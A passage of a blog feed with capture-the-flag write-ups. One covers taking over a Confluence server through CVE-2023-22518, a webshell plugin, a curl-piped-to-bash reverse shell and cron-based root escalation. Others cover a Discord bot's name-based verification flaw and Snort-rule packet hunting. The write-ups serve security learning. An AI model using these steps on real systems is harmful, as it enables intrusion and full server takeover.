Posts on Osirizhttps://osiriz.dev/posts/Recent content in Posts on OsirizHugo -- gohugo.ioen-usSun, 06 Apr 2025 15:00:00 +0200DDC 2025 Regionals - Intranet Madnesshttps://osiriz.dev/posts/2025/04/ddc-2025-regionals-intranet-madness/Sun, 06 Apr 2025 15:00:00 +0200https://osiriz.dev/posts/2025/04/ddc-2025-regionals-intranet-madness/Challenge Description Danish (Original) Blækspruttespillene er i gang. De har sat en kommunikationsplatform op til deltagerne, og deltagerne yapper løs. Login med bruger: 456 og password: password, eller opret din egen bruger for at deltage! intranetmadness.hkn:8090 English (Chatgpt) The squid games are underway. They have set up a communication platform for the participants, and the participants are chatting away. Log in with username: 456 and password: password, or create your own account to participate!Challenge Description

Danish (Original)

Blækspruttespillene er i gang. De har sat en kommunikationsplatform op til deltagerne, og deltagerne yapper løs.

Login med bruger: 456 og password: password, eller opret din egen bruger for at deltage!

intranetmadness.hkn:8090

English (Chatgpt)

The squid games are underway. They have set up a communication platform for the participants, and the participants are chatting away.

Log in with username: 456 and password: password, or create your own account to participate!

intranetmadness.hkn:8090

Owning Confluence

Going to the URL we are greeted with a login page for a confluence instance, using the provided credentials we can login. We take note of the version displayed at the bottom: 8.6.0.

There are two spaces on the site: the meme-filled space of Blæksprutte spillerne, and DOCS. The latter is what will be useful for us.

In DOCS > Incident Response Plan > Backup Strategi we see how they run a backup script (/usr/local/bin/squidbackup.sh) each minute, and also a comment by the admin (001) about how it is important to patch the server so backup recovery isnt needed.

Lets look at 001, checking their calendar we see an event refering to a ’new’ exploit that can reset confluence to admin:admin credentials. Reading this I thought of a this blog post written by a former collegue. So the vulnerability is properly CVE-2023-22518, which version 8.6.0 of confluence is vulnerable to.

Searching for a PoC I found https://github.com/ForceFledgling/CVE-2023-22518, using this I reset the confluence instance:

┌──(osiriz㉿kali)-[~/CVE-2023-22518]
└─$ python exploit.py        
Enter the URL: http://intranetmadness.hkn:8090/json/setup-restore.action?synchronous=True       
Enter the path to the .zip file: xmlexport-20231109-060519-1.zip
Exploit Success! Login Using 'admin :: admin'

And now we can login using admin:admin.

Getting shell access

Now that we are the administrator of the confluence server, we can leverage this to get a user shell on server. Using the atlplug.jar file from the PoC github repo, we can install a webshell in confluence by going to General Configuration > Manage apps > Upload app and selecting the jar file. After it is done installing click on Get started and we have a web shell:

shell>whoami
confluence

shell>pwd
/var/atlassian/application-data/confluence

I then use https://www.revshells.com to generate a bash reverse shell to save in revshell.sh, serving it with python -m http.server, listening with nc -lvnp 9001, and then getting and running it on the server:

shell>curl http://10.0.240.241:8000/revshell.sh|bash

We now have a more usable shell, quickly stabilise the shell:

confluence@remote$ python3 -c 'import pty;pty.spawn("/bin/bash")'
confluence@remote$ ^Z
zsh: suspended  nc -lvnp 9001
osiriz@kali$ stty raw -echo; fg
[1]  + continued  nc -lvnp 9001
confluence@remote$ export TERM=xterm

Getting root

Finally we can get root by looking at the backup script (/usr/local/bin/squidbackup.sh):

confluence@remote$ ls -l /usr/local/bin/squidbackup.sh 
-rwxr-xr-x 1 root root 601 Apr  4 12:52 /usr/local/bin/squidbackup.sh

confluence@remote$ cat /usr/local/bin/squidbackup.sh 
#!/bin/bash

# Directory to back up
SOURCE_DIR="/var/atlassian/application-data/confluence"

# Backup destination (user-specified)
BACKUP_DIR="$1"

# Check if backup directory is provided
if [ -z "$BACKUP_DIR" ]; then
    echo "Usage: $0 <backup_directory>"
    exit 1
fi

echo "[*] Starting backup from '$SOURCE_DIR' to '$BACKUP_DIR'..."

# Perform the backup
cp -r "$SOURCE_DIR"/* "$BACKUP_DIR"

if [ -f "$BACKUP_DIR/post-backup.sh" ]; then
    echo "[!] post-backup.sh found. Executing..."
    chmod +x "$BACKUP_DIR/post-backup.sh"
    "$BACKUP_DIR/post-backup.sh"
fi

echo "[*] Backup completed."

We can see that we cannot write to this script, but it runs a second script called post-backup.sh from the directory denoted by the variable $BACKUP_DIR which is the 1st argument to the script, so checking the crontab we can see that is /home/conflunce/backup:

confluence@remote$ cat /etc/cron.d/confluence_backup 
*/1 * * * * /usr/local/bin/squidbackup.sh /home/confluence/backup

So lets check this script out:

confluence@remote$ ls -l /home/confluence/backup/post-backup.sh 
-rwxrwxrwx 1 confluence confluence 470 Apr  4 12:52 /home/confluence/backup/post-backup.sh

confluence@remote$ cat /home/confluence/backup/post-backup.sh 
#!/bin/bash

LOG_FILE="backup-log.txt"

echo "[$(date '+%Y-%m-%d %H:%M:%S')] post-backup.sh: Running in directory: $PWD" >> "$LOG_FILE"
echo "[$(date '+%Y-%m-%d %H:%M:%S')] Contents of $PWD:" >> "$LOG_FILE"
ls -la >> "$LOG_FILE"
echo "" >> "$LOG_FILE"
echo "[$(date '+%Y-%m-%d %H:%M:%S')] Number of files/folders in $PWD:" >> "$LOG_FILE"
ls -la | wc -l >> "$LOG_FILE"
echo "" >> "$LOG_FILE"
echo "[$(date '+%Y-%m-%d %H:%M:%S')] post-backup.sh completed." >> "$LOG_FILE"

We can write to this file, so lets set the suid bit on /bin/bash so we can make a shell with root permissions:

confluence@remote$ echo "chmod +s /bin/bash" >> /home/confluence/backup/post-backup.sh

And after about a minute we should be able to get the root shell:

confluence@remote$ ls -l /bin/bash
-rwsr-sr-x 1 root root 1446024 Mar 31  2024 /bin/bash

confluence@remote$ /bin/bash -p

root@remote# cat /flag.txt 
DDC{D0N7H4CK7H35QU1DSM4N}
]]>DDC 2025 Qualification - DDC Admin Bothttps://osiriz.dev/posts/2025/03/ddc-2025-qualification-ddc-admin-bot/Tue, 18 Mar 2025 13:00:00 +0100https://osiriz.dev/posts/2025/03/ddc-2025-qualification-ddc-admin-bot/Challenge Description Danish (Original) Vi har lavet en super sej discord server til alle DDC Admins. For at gøre det let at tilføje nye admin har jeg lavet en bot! Her er et link til serveren. I får også sourcekoden så I kan se hvordan den virker. English (Chatgpt) We have created a super cool Discord server for all DDC Admins. To make it easy to add new admins, I have made a bot!Challenge Description

Danish (Original)

Vi har lavet en super sej discord server til alle DDC Admins. For at gøre det let at tilføje nye admin har jeg lavet en bot! Her er et link til serveren. I får også sourcekoden så I kan se hvordan den virker.

English (Chatgpt)

We have created a super cool Discord server for all DDC Admins. To make it easy to add new admins, I have made a bot! Here is a link to the server. You’ll also get the source code so you can see how it works.

File

We are also given the source code for the bot:

Solution

The bot is a pretty simple verification bot, use the command !verifyme and wait for a moderator to react to a message in the hidden verification channel with ✅. But the moderator is not going to do that, so lets do it ourselves.

The flaw in code is in the check function that checks if the reaction that we are waiting for is the correct one (as seen on line 67 - 73, and waiting for on line 77)

Line 67 - 73:

def check(reaction, reactor):
  return (
    str(reaction.emoji) == "✅"
    and reaction.message.content == msg
    and reaction.message.channel.name == VERIFICATION_CHANNEL_NAME
    and any([r.name == MODERATOR_ROLE_NAME for r in reactor.roles])
  )

line 77:

reaction, moderator = await bot.wait_for('reaction_add', check=check)

The flaw here is that the reaction_add event that the bot is waiting for is not bound to the scope of the guild that we used the command in and all of the checks is based on the names and content of channels, roles and messages instead of unique references (snowflake ids) to these.

This means that if we can add the bot to our own server, where we have a role called moderator, a channel called verification with the exact message, and we then react with ✅, the bot will see it and pass all the checks.

So create a server, add the moderator role, and the verification channel.

The message takes a bit of work since we need to mention a role from another server. But by knowning the underlying syntax of mentions, this becomes easy:

  • @user = <@user-id>
  • @role = <@&role-id>
  • #channel = <#channel-id>

So the message would be (1293636473291014184 is the role id of moderator from the server): <@your-user-id> has requested verification. Moderators with <@&1293636473291014184>, please verify.

And in discord:

And to add the bot to our server we need to make the correct OAuth2 URL (the add app button on the bot only adds it with the default scope which is not bot). We get the default url by right-clicking the add app button on the bot: https://discord.com/oauth2/authorize?client_id=1293624223008559165.

We need to add some more parameters.

  • The permissions parameter controls its permissions, I have set it to 8 here for administrator which means all permissions.
  • The scope parameter controls the scope of application, we set it to bot here.

So the new URL is: https://discord.com/oauth2/authorize?client_id=1293624223008559165&permissions=8&scope=bot. Pasting this into a browser allows us to add the bot to our server.

Now just use the !verifyme command in the challenge server and react to your verification message in your own server. You should now have the member role and be able to see the challenge-writeups channel to get the flag:

And the flag is DDC{d1sc0rd_b0t5_4r3_h4rd}.

]]>FDCA Xmas 2024 Day 24 - Ragnarok et al.https://osiriz.dev/posts/2024/12/fdca-xmas-2024-day-24-ragnarok-et-al./Tue, 24 Dec 2024 15:59:24 +0100https://osiriz.dev/posts/2024/12/fdca-xmas-2024-day-24-ragnarok-et-al./Challenge Description Danish (original) Efter alt den hjælp vi har fået har FDCA’s SPECOPS endelig kunne trævle gennem nok af jættenettet og fået adgang til en service vi forventer kan se fremtiden. En digitalisering af Mimir’s eksistens. Ja, Odin fortæller os ligefrem, at den har svaret på livet, universet og alting. Vi har dog noget svært ved at kommunikere med den. Den taler ikke samme sprog som os og snakker bare om “Magiske sekvenser”.Challenge Description

Danish (original)

Efter alt den hjælp vi har fået har FDCA’s SPECOPS endelig kunne trævle gennem nok af jættenettet og fået adgang til en service vi forventer kan se fremtiden. En digitalisering af Mimir’s eksistens. Ja, Odin fortæller os ligefrem, at den har svaret på livet, universet og alting.

Vi har dog noget svært ved at kommunikere med den. Den taler ikke samme sprog som os og snakker bare om “Magiske sekvenser”. Vi har derfor brug for at du finder ud af hvordan du kan kommunikere med den, og derefter skal du finde ud af, hvordan ragnarok vil starte så vi kan forhindre det en gang for alle.

English (from chatgpt)

After all the help we’ve received, FDCA’s SPECOPS has finally been able to sift through enough of the giant network and gained access to a service we expect can foresee the future. A digitization of Mimir’s existence. Yes, Odin even tells us that it has the answer to life, the universe, and everything.

However, we have some difficulty communicating with it. It doesn’t speak the same language as us and just keeps talking about ‘Magical sequences.’ Therefore, we need you to figure out how to communicate with it, and then you need to find out how Ragnarok will begin so we can prevent it once and for all.

Solution

General note: The session can easily hang, if it does: CTRL-C and connect again.

Snorting out the sequence

We are given the domain and port combo of ragnarok.jættenettet.dk 42, connecting to it using nc we get:

$ nc ragnarok.jættenettet.dk 42
You are now communicating with Mimir's magic sequence SNORT'er, version 2.9.20.
The gateway for puny minds to fathom a small part of the infinite future.
###############################################################################

Please input your magical sequence:
>>>

From the text we can deduce that this is snort, and as I found out from writing var test test and getting Unknown rule type: var this is snort rules. So using section 3 of the snort user manual we can get the syntax.

Giant’s guide

So lets try and find something to get a foothold of the situation, lets search for ragnarok in tcp packets:

Please input your magical sequence:
>>> alert tcp any any -> any any (content:"ragnarok"; sid:1)

Sequence recieved. Validating magic sequence...
Validation succeeded. Beginning sequencing of your submission...
SNORT'er finished with the following results:
12/24-15:00:10.995364  [**] [1:1:0] [**] [Priority: 0] {TCP} 0.0.0.0:60842 -> 76.123.42.19:80
12/24-15:00:10.995364 00:00:00:00:00:00 -> 00:00:00:00:00:00 type:0x800 len:0xA6
0.0.0.0:60842 -> 76.123.42.19:80 TCP TTL:64 TOS:0x0 ID:4638 IpLen:20 DgmLen:152 DF
***AP*** Seq: 0x7941BC2F  Ack: 0xED3C7DAE  Win: 0x200  TcpLen: 32
TCP Options (3) => NOP NOP TS: 4053075816 1122287092
0x0000: 00 00 00 00 00 00 00 00 00 00 00 00 08 00 45 00  ..............E.
0x0010: 00 98 12 1E 40 00 40 06 B1 B4 00 00 00 00 4C 7B  ....@.@.......L{
0x0020: 2A 13 ED AA 00 50 79 41 BC 2F ED 3C 7D AE 80 18  *....PyA./.<}...
0x0030: 02 00 E0 4F 00 00 01 01 08 0A F1 95 07 68 42 E4  ...O.........hB.
0x0040: BD F4 47 45 54 20 2F 72 61 67 6E 61 72 6F 6B 5F  ..GET /ragnarok_
0x0050: 67 75 69 64 65 2E 68 74 6D 6C 20 48 54 54 50 2F  guide.html HTTP/
0x0060: 31 2E 31 0D 0A 48 6F 73 74 3A 20 6A 61 65 74 74  1.1..Host: jaett
0x0070: 65 67 75 69 64 65 2E 6F 6E 6C 69 6E 65 0D 0A 55  eguide.online..U
0x0080: 73 65 72 2D 41 67 65 6E 74 3A 20 63 75 72 6C 2F  ser-Agent: curl/
0x0090: 38 2E 35 2E 30 0D 0A 41 63 63 65 70 74 3A 20 2A  8.5.0..Accept: *
0x00A0: 2F 2A 0D 0A 0D 0A                                /*....

=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+


12/24-15:00:11.015369  [**] [1:1:0] [**] [Priority: 0] {TCP} 76.123.42.19:80 -> 0.0.0.0:60842
12/24-15:00:11.015369 00:00:00:00:00:00 -> 00:00:00:00:00:00 type:0x800 len:0x261
76.123.42.19:80 -> 0.0.0.0:60842 TCP TTL:64 TOS:0x0 ID:859 IpLen:20 DgmLen:595 DF
***AP*** Seq: 0xED3C7DAE  Ack: 0x7941BC93  Win: 0x200  TcpLen: 32
TCP Options (3) => NOP NOP TS: 1122287112 4053075816
0x0000: 00 00 00 00 00 00 00 00 00 00 00 00 08 00 45 00  ..............E.
0x0010: 02 53 03 5B 40 00 40 06 BE BC 4C 7B 2A 13 00 00  .S.[@.@...L{*...
0x0020: 00 00 00 50 ED AA ED 3C 7D AE 79 41 BC 93 80 18  ...P...<}.yA....
0x0030: 02 00 A7 7B 00 00 01 01 08 0A 42 E4 BE 08 F1 95  ...{......B.....
0x0040: 07 68 48 54 54 50 2F 31 2E 31 20 32 30 30 20 4F  .hHTTP/1.1 200 O
0x0050: 4B 0D 0A 44 61 74 65 3A 20 54 75 65 2C 20 32 34  K..Date: Tue, 24
0x0060: 20 44 65 63 20 32 30 32 34 20 31 35 3A 30 30 3A   Dec 2024 15:00:
0x0070: 31 31 20 47 4D 54 0D 0A 43 6F 6E 74 65 6E 74 2D  11 GMT..Content-
0x0080: 54 79 70 65 3A 20 74 65 78 74 2F 68 74 6D 6C 0D  Type: text/html.
0x0090: 0A 43 6F 6E 6E 65 63 74 69 6F 6E 3A 20 43 6C 6F  .Connection: Clo
0x00A0: 73 65 0D 0A 43 6F 6E 74 65 6E 74 2D 4C 65 6E 67  se..Content-Leng
0x00B0: 74 68 3A 20 33 39 39 0D 0A 53 65 72 76 65 72 3A  th: 399..Server:
0x00C0: 20 44 69 70 20 49 6E 74 6F 20 54 69 6D 65 0D 0A   Dip Into Time..
0x00D0: 0D 0A 3C 68 74 6D 6C 3E 0A 20 20 3C 68 65 61 64  ..<html>.  <head
0x00E0: 3E 0A 20 20 09 3C 74 69 74 6C 65 3E 54 68 65 20  >.  .<title>The
0x00F0: 6C 61 6E 64 69 6E 67 20 6F 66 20 74 68 65 20 4A  landing of the J
0x0100: 61 65 74 74 65 20 47 75 69 64 65 20 4F 6E 6C 69  aette Guide Onli
0x0110: 6E 65 20 76 65 72 73 69 6F 6E 2E 3C 2F 74 69 74  ne version.</tit
0x0120: 6C 65 3E 0A 20 20 3C 2F 68 65 61 64 3E 0A 20 20  le>.  </head>.
0x0130: 3C 62 6F 64 79 3E 0A 20 20 20 20 3C 70 3E 3C 2F  <body>.    <p></
0x0140: 70 3E 0A 20 20 20 20 3C 70 20 61 6C 69 67 6E 3D  p>.    <p align=
0x0150: 22 63 65 6E 74 65 72 22 3E 54 68 69 73 20 69 73  "center">This is
0x0160: 20 74 68 65 20 6C 61 74 65 73 74 20 67 75 69 64   the latest guid
0x0170: 65 20 66 6F 72 20 4A 61 65 74 74 65 72 20 74 6F  e for Jaetter to
0x0180: 20 73 68 61 72 65 20 70 6C 61 6E 73 20 66 6F 72   share plans for
0x0190: 20 72 61 67 6E 61 72 6F 6B 2E 3C 2F 70 3E 0A 20   ragnarok.</p>.
0x01A0: 20 20 20 3C 70 20 61 6C 69 67 6E 3D 22 63 65 6E     <p align="cen
0x01B0: 74 65 72 22 3E 6D 6F 72 65 20 64 65 74 61 69 6C  ter">more detail
0x01C0: 73 20 63 61 6E 20 62 65 20 66 6F 75 6E 64 20 61  s can be found a
0x01D0: 74 20 3C 61 20 68 72 65 66 3D 2F 70 6C 61 6E 73  t <a href=https://osiriz.dev/plans
0x01E0: 2E 74 78 74 3E 64 61 72 6B 20 70 6C 61 6E 73 3C  .txt>dark plans<
0x01F0: 2F 61 3E 3C 2F 70 3E 0A 20 20 20 20 3C 70 20 61  /a></p>.    <p a
0x0200: 6C 69 67 6E 3D 22 63 65 6E 74 65 72 22 3E 49 66  lign="center">If
0x0210: 20 79 6F 75 20 68 61 76 65 20 70 72 6F 62 6C 65   you have proble
0x0220: 6D 20 70 6C 65 61 73 65 20 6C 65 74 20 74 68 65  m please let the
0x0230: 6D 20 62 65 20 6B 6E 6F 77 6E 20 74 6F 20 68 65  m be known to he
0x0240: 6C 68 69 65 6D 2E 3C 2F 61 3E 3C 2F 70 3E 0A 20  lhiem.</a></p>.
0x0250: 20 3C 2F 62 6F 64 79 3E 0A 3C 2F 68 74 6D 6C 3E   </body>.</html>
0x0260: 0A                                               .

=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+

We get part of a http session, where someone visited http://jaetteguide.online/ragnarok_guide.html and given a page with a link to http://jaetteguide.online/plans.txt. We now know that jaetteguide.online = 76.123.42.16.

Lets get some more of this session by finding the http request for /plans.txt, and then use the client port number from that to find the response:

Please input your magical sequence:
>>> alert tcp any any -> 76.123.42.19 80 (content:"plans.txt"; sid:1)

Sequence recieved. Validating magic sequence...
Validation succeeded. Beginning sequencing of your submission...
SNORT'er finished with the following results:
12/24-15:00:14.155248  [**] [1:1:0] [**] [Priority: 0] {TCP} 0.0.0.0:60906 -> 76.123.42.19:80
12/24-15:00:14.155248 00:00:00:00:00:00 -> 00:00:00:00:00:00 type:0x800 len:0x9C
0.0.0.0:60906 -> 76.123.42.19:80 TCP TTL:64 TOS:0x0 ID:1434 IpLen:20 DgmLen:142 DF
***AP*** Seq: 0x74DAA468  Ack: 0x65281863  Win: 0x200  TcpLen: 32
TCP Options (3) => NOP NOP TS: 4053078976 1122290252
0x0000: 00 00 00 00 00 00 00 00 00 00 00 00 08 00 45 00  ..............E.
0x0010: 00 8E 05 9A 40 00 40 06 BE 42 00 00 00 00 4C 7B  ....@.@..B....L{
0x0020: 2A 13 ED EA 00 50 74 DA A4 68 65 28 18 63 80 18  *....Pt..he(.c..
0x0030: 02 00 08 BD 00 00 01 01 08 0A F1 95 13 C0 42 E4  ..............B.
0x0040: CA 4C 47 45 54 20 2F 70 6C 61 6E 73 2E 74 78 74  .LGET /plans.txt
0x0050: 20 48 54 54 50 2F 31 2E 31 0D 0A 48 6F 73 74 3A   HTTP/1.1..Host:
0x0060: 20 6A 61 65 74 74 65 67 75 69 64 65 2E 6F 6E 6C   jaetteguide.onl
0x0070: 69 6E 65 0D 0A 55 73 65 72 2D 41 67 65 6E 74 3A  ine..User-Agent:
0x0080: 20 63 75 72 6C 2F 38 2E 35 2E 30 0D 0A 41 63 63   curl/8.5.0..Acc
0x0090: 65 70 74 3A 20 2A 2F 2A 0D 0A 0D 0A              ept: */*....

=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+



Please input your magical sequence:
>>> alert tcp 76.123.42.19 80 -> 0.0.0.0 60906

Sequence recieved. Validating magic sequence...
Validation succeeded. Beginning sequencing of your submission...
SNORT'er finished with the following results:
12/24-15:00:14.155114  [**] [1:0:0] [**] [Priority: 0] {TCP} 76.123.42.19:80 -> 0.0.0.0:60906
12/24-15:00:14.155114 00:00:00:00:00:00 -> 00:00:00:00:00:00 type:0x800 len:0x4A
76.123.42.19:80 -> 0.0.0.0:60906 TCP TTL:64 TOS:0x0 ID:0 IpLen:20 DgmLen:60 DF
***A**S* Seq: 0x65281862  Ack: 0x74DAA468  Win: 0xFFCB  TcpLen: 40
TCP Options (5) => MSS: 65495 SackOK TS: 1122290252 4053078976 NOP WS: 7
0x0000: 00 00 00 00 00 00 00 00 00 00 00 00 08 00 45 00  ..............E.
0x0010: 00 3C 00 00 40 00 40 06 C4 2E 4C 7B 2A 13 00 00  .<..@.@...L{*...
0x0020: 00 00 00 50 ED EA 65 28 18 62 74 DA A4 68 A0 12  ...P..e(.bt..h..
0x0030: FF CB 3F E3 00 00 02 04 FF D7 04 02 08 0A 42 E4  ..?...........B.
0x0040: CA 4C F1 95 13 C0 01 03 03 07                    .L........

=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+


12/24-15:00:14.155256  [**] [1:0:0] [**] [Priority: 0] {TCP} 76.123.42.19:80 -> 0.0.0.0:60906
12/24-15:00:14.155256 00:00:00:00:00:00 -> 00:00:00:00:00:00 type:0x800 len:0x42
76.123.42.19:80 -> 0.0.0.0:60906 TCP TTL:64 TOS:0x0 ID:62995 IpLen:20 DgmLen:52 DF
***A**** Seq: 0x65281863  Ack: 0x74DAA4C2  Win: 0x1FF  TcpLen: 32
TCP Options (3) => NOP NOP TS: 1122290252 4053078976
0x0000: 00 00 00 00 00 00 00 00 00 00 00 00 08 00 45 00  ..............E.
0x0010: 00 34 F6 13 40 00 40 06 CE 22 4C 7B 2A 13 00 00  .4..@.@.."L{*...
0x0020: 00 00 00 50 ED EA 65 28 18 63 74 DA A4 C2 80 10  ...P..e(.ct.....
0x0030: 01 FF 66 46 00 00 01 01 08 0A 42 E4 CA 4C F1 95  ..fF......B..L..
0x0040: 13 C0                                            ..

=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+


12/24-15:00:14.178153  [**] [1:0:0] [**] [Priority: 0] {TCP} 76.123.42.19:80 -> 0.0.0.0:60906
12/24-15:00:14.178153 00:00:00:00:00:00 -> 00:00:00:00:00:00 type:0x800 len:0x19C
76.123.42.19:80 -> 0.0.0.0:60906 TCP TTL:64 TOS:0x0 ID:62996 IpLen:20 DgmLen:398 DF
***AP*** Seq: 0x65281863  Ack: 0x74DAA4C2  Win: 0x200  TcpLen: 32
TCP Options (3) => NOP NOP TS: 1122290275 4053078976
0x0000: 00 00 00 00 00 00 00 00 00 00 00 00 08 00 45 00  ..............E.
0x0010: 01 8E F6 14 40 00 40 06 CC C7 4C 7B 2A 13 00 00  ....@.@...L{*...
0x0020: 00 00 00 50 ED EA 65 28 18 63 74 DA A4 C2 80 18  ...P..e(.ct.....
0x0030: 02 00 12 67 00 00 01 01 08 0A 42 E4 CA 63 F1 95  ...g......B..c..
0x0040: 13 C0 48 54 54 50 2F 31 2E 31 20 32 30 30 20 4F  ..HTTP/1.1 200 O
0x0050: 4B 0D 0A 44 61 74 65 3A 20 54 75 65 2C 20 32 34  K..Date: Tue, 24
0x0060: 20 44 65 63 20 32 30 32 34 20 31 35 3A 30 30 3A   Dec 2024 15:00:
0x0070: 31 34 20 47 4D 54 0D 0A 43 6F 6E 74 65 6E 74 2D  14 GMT..Content-
0x0080: 54 79 70 65 3A 20 74 65 78 74 2F 70 6C 61 69 6E  Type: text/plain
0x0090: 0D 0A 43 6F 6E 6E 65 63 74 69 6F 6E 3A 20 43 6C  ..Connection: Cl
0x00A0: 6F 73 65 0D 0A 43 6F 6E 74 65 6E 74 2D 4C 65 6E  ose..Content-Len
0x00B0: 67 74 68 3A 20 32 30 31 0D 0A 53 65 72 76 65 72  gth: 201..Server
0x00C0: 3A 20 44 69 70 20 49 6E 74 6F 20 54 69 6D 65 0D  : Dip Into Time.
0x00D0: 0A 0D 0A 54 68 65 20 67 72 65 61 74 20 52 C3 A1  ...The great R..
0x00E0: 67 6E 61 72 C3 B5 6B 20 77 69 6C 6C 20 68 61 70  gnar..k will hap
0x00F0: 70 65 6E 20 74 68 65 20 32 34 74 68 20 64 61 79  pen the 24th day
0x0100: 20 6F 66 20 74 68 65 20 6C 61 73 74 20 6D 6F 6E   of the last mon
0x0110: 74 68 20 6F 66 20 74 68 65 20 32 34 74 68 20 79  th of the 24th y
0x0120: 65 61 72 20 6F 66 20 74 68 65 20 32 74 68 20 6D  ear of the 2th m
0x0130: 69 6C 6C 65 6E 6E 69 61 2E 0A 50 6C 65 61 73 65  illennia..Please
0x0140: 20 73 65 6E 64 20 61 6E 79 20 66 75 72 74 68 65   send any furthe
0x0150: 72 20 63 6F 6D 6D 75 6E 69 63 61 74 69 6F 6E 20  r communication
0x0160: 74 6F 20 63 6F 6D 6D 75 6E 65 2E 68 65 6C 68 69  to commune.helhi
0x0170: 65 6D 20 66 6F 72 20 66 75 72 74 68 65 72 20 63  em for further c
0x0180: 6F 6F 72 64 69 6E 61 74 69 6F 6E 20 61 6E 64 20  oordination and
0x0190: 71 75 65 73 74 69 6F 6E 73 2E 0A 0A              questions...

=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+


12/24-15:00:14.181339  [**] [1:0:0] [**] [Priority: 0] {TCP} 76.123.42.19:80 -> 0.0.0.0:60906
12/24-15:00:14.181339 00:00:00:00:00:00 -> 00:00:00:00:00:00 type:0x800 len:0x42
76.123.42.19:80 -> 0.0.0.0:60906 TCP TTL:64 TOS:0x0 ID:62997 IpLen:20 DgmLen:52 DF
***A***F Seq: 0x652819BD  Ack: 0x74DAA4C3  Win: 0x200  TcpLen: 32
TCP Options (3) => NOP NOP TS: 1122290278 4053078999
0x0000: 00 00 00 00 00 00 00 00 00 00 00 00 08 00 45 00  ..............E.
0x0010: 00 34 F6 15 40 00 40 06 CE 20 4C 7B 2A 13 00 00  .4..@.@.. L{*...
0x0020: 00 00 00 50 ED EA 65 28 19 BD 74 DA A4 C3 80 11  ...P..e(..t.....
0x0030: 02 00 64 B8 00 00 01 01 08 0A 42 E4 CA 66 F1 95  ..d.......B..f..
0x0040: 13 D7                                            ..

=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+

Looking at the response we see that we are referred to commune.helhiem

Where the Giants commune

Lets find the IP address for commune.helhiem by looking for DNS requests:

Please input your magical sequence:
>>> alert udp any any -> any any (content:"commune"; sid:1)

Sequence recieved. Validating magic sequence...
Validation succeeded. Beginning sequencing of your submission...
SNORT'er finished with the following results:
12/24-15:00:19.953618  [**] [1:1:0] [**] [Priority: 0] {UDP} 0.0.0.0:45595 -> 53.255.255.35:53
12/24-15:00:19.953618 00:00:00:00:00:00 -> 00:00:00:00:00:00 type:0x800 len:0x62
0.0.0.0:45595 -> 53.255.255.35:53 UDP TTL:64 TOS:0x0 ID:11132 IpLen:20 DgmLen:84
Len: 56
0x0000: 00 00 00 00 00 00 00 00 00 00 00 00 08 00 45 00  ..............E.
0x0010: 00 54 2B 7C 00 00 40 11 19 FB 00 00 00 00 35 FF  .T+|..@.......5.
0x0020: FF 23 B2 1B 00 35 00 40 C4 F2 B2 6A 01 20 00 01  .#...5.@...j. ..
0x0030: 00 00 00 00 00 01 07 63 6F 6D 6D 75 6E 65 07 68  .......commune.h
0x0040: 65 6C 68 69 65 6D 00 00 01 00 01 00 00 29 04 D0  elhiem.......)..
0x0050: 00 00 00 00 00 0C 00 0A 00 08 05 C1 34 1D E7 7A  ............4..z
0x0060: E9 B4                                            ..

=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+


12/24-15:00:19.963686  [**] [1:1:0] [**] [Priority: 0] {UDP} 53.255.255.35:53 -> 0.0.0.0:45595
12/24-15:00:19.963686 00:00:00:00:00:00 -> 00:00:00:00:00:00 type:0x800 len:0x5B
53.255.255.35:53 -> 0.0.0.0:45595 UDP TTL:64 TOS:0x0 ID:51277 IpLen:20 DgmLen:77 DF
Len: 49
0x0000: 00 00 00 00 00 00 00 00 00 00 00 00 08 00 45 00  ..............E.
0x0010: 00 4D C8 4D 40 00 40 11 3D 30 35 FF FF 23 00 00  .M.M@.@.=05..#..
0x0020: 00 00 00 35 B2 1B 00 39 2E 77 B2 6A 85 00 00 01  ...5...9.w.j....
0x0030: 00 01 00 00 00 00 07 63 6F 6D 6D 75 6E 65 07 68  .......commune.h
0x0040: 65 6C 68 69 65 6D 00 00 01 00 01 C0 0C 00 01 00  elhiem..........
0x0050: 01 00 00 0E 10 00 04 FF FF FF FF                 ...........

=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+

The second message is the response, the last 4 bytes are the IP address, so in this case 255.255.255.255 or local broadcast. Lets see traffic to and from this then (note: only udp is possible since it is broadcast):

Please input your magical sequence:
>>> alert udp any any <> 255.255.255.255 any

Sequence recieved. Validating magic sequence...
Validation succeeded. Beginning sequencing of your submission...
SNORT'er finished with the following results:
12/24-15:00:09.650083  [**] [1:0:0] [**] [Priority: 0] {UDP} 0.0.0.0:49441 -> 255.255.255.255:514
12/24-15:00:09.650083 00:00:00:00:00:00 -> 00:00:00:00:00:00 type:0x800 len:0xAA
0.0.0.0:49441 -> 255.255.255.255:514 UDP TTL:64 TOS:0x0 ID:18382 IpLen:20 DgmLen:156 DF
Len: 128
0x0000: 00 00 00 00 00 00 00 00 00 00 00 00 08 00 45 00  ..............E.
0x0010: 00 9C 47 CE 40 00 40 11 F2 83 00 00 00 00 FF FF  ..G.@.@.........
0x0020: FF FF C1 21 02 02 00 88 C1 8A 3C 31 33 3E 31 20  ...!......<13>1
0x0030: 32 30 32 34 2D 31 32 2D 32 34 54 31 36 3A 30 30  2024-12-24T16:00
0x0040: 3A 30 39 2E 36 35 30 30 30 34 2B 30 31 3A 30 30  :09.650004+01:00
0x0050: 20 4D 75 73 70 65 6C 68 69 65 6D 20 66 65 6E 72   Muspelhiem fenr
